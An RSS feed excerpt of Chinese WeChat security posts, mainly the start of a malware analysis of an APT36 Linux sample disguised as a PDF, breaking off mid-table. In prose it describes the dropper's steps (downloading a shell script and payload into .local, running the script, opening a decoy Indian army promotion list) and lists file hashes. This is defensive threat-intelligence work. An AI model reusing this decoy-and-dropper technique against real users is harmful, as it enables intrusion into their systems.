center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://github.com/ChaMd5Team/Venom-WP/blob/main/2025-%E7%AC%AC%E5%85%AD%E5%B1%8A%E9%A6%99%E6%B8%AF%E7%BD%91%E5%AE%89%E5%A4%BA%E6%97%97%E8%B5%9B-WriteUp.pdf">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f58c3f21&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514021%26idx%3D1%26sn%3D09c23efa451e92d4bff5670cfb649062">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 23 Dec 2025 10:14:00 +0800</pubDate>
    </item>
    <item>
      <title>APT36样本分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513968&amp;idx=1&amp;sn=a6800f178c681fb1f604dbbfa52f9133</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>megaparsec</span> <span>2025-12-18 08:02</span> <span style="display: inline-block;">辽宁</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d73158a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfMDYxTJ6B4EjAaIDTv7ibdiaZaVaRNcxxnMH0lxwqlwWQ03YbmuicgR6qA%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><blockquote style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">样本来源</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">样本来源于@Szabolcs Schmidt</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">（<a href="https://x.com/smica83/status/1998903655534153878）以及" target="_blank">https://x.com/smica83/status/1998903655534153878）以及</a></span></strong><span leaf="">MalwareHunterTeam（<a href="https://x.com/malwrhunterteam/status/1999060994182815895）" target="_blank">https://x.com/malwrhunterteam/status/1999060994182815895）</a></span></p></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">APT36简介</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">APT36（透明部落）也称为 Earth Karkaddan，是一个来自巴基斯坦的APT攻击组织，历来以印度军事和外交资源为目标。</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">样本分析</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Linux平台</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">样本名称：Approved-List-For-Promotion․pdf</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">文件类型：ELF32</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">MD5：813b69e1ffeb70cdd5a63a8103a896d3</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SHA1：6cadcdb2c2cd1425a44fe08e00c4cfcff9498ee0</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SHA256：b4c4e5e3d334ca1dc4f64435656f0aa011c8651cd4343707d0397ee9dc6c41e5<img class="rich_pages wxw-img" data-ratio="0.6972222222222222" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030268" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b22ac0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfMQ1yedJqJ9mJ5IAp9kw82YaBlCK6TtCPBjcW8NN9ia4hK88bBt6xZeg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">创建  .local 目录，目录权限为0755（rwxr-xr-x），然后从目标URL下载三个文件，分别为gkt3.1、gkt3.sh、APPL FOR UPDATION.pdf，接着执行gkt3.sh文件，再使用xdg-open打开pdf文件。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.7194444444444444" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030270" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b389657e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfMPjqn7zQW3OW1MpA5lFjfY7pqUgFY851nKfZ5mDcGo9zVVJvVsgianQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">PDF文件（5a9552f5d8bb031358cbacf827624186）的标题为APPROVED LIST FOR PROMOTION TO THE RANK OF SUB MAJ（批准晋升至副少校级别的名单），文件中包含195名印度军队工程兵团人员的晋升信息，具有完整官方格式和签章。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.4055555555555554" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030271" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=79169fba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfPCdtNRgJR0GJUjqnSylTZyGCJkEfe5nFfa5ZDVZPan5krXdcoMjoFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其他类似样本下载的PDF文件名如下表所示</span></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: center;"><p><span leaf="">哈希值</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: center;"><p><span leaf="">英文文件名</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">中文翻译</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: center;"><p><span leaf="">c345c4a04df2d324f594e2ae9040daf8</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: center;"><p><span leaf="">AWHO INFROMATION.pdf</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 